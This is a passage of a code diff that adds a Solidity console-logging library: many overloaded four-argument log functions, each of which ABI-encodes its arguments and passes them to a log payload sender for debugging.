+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, string memory p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, bool p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, address p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint256 p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint256 p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, bool p3) internal pure {
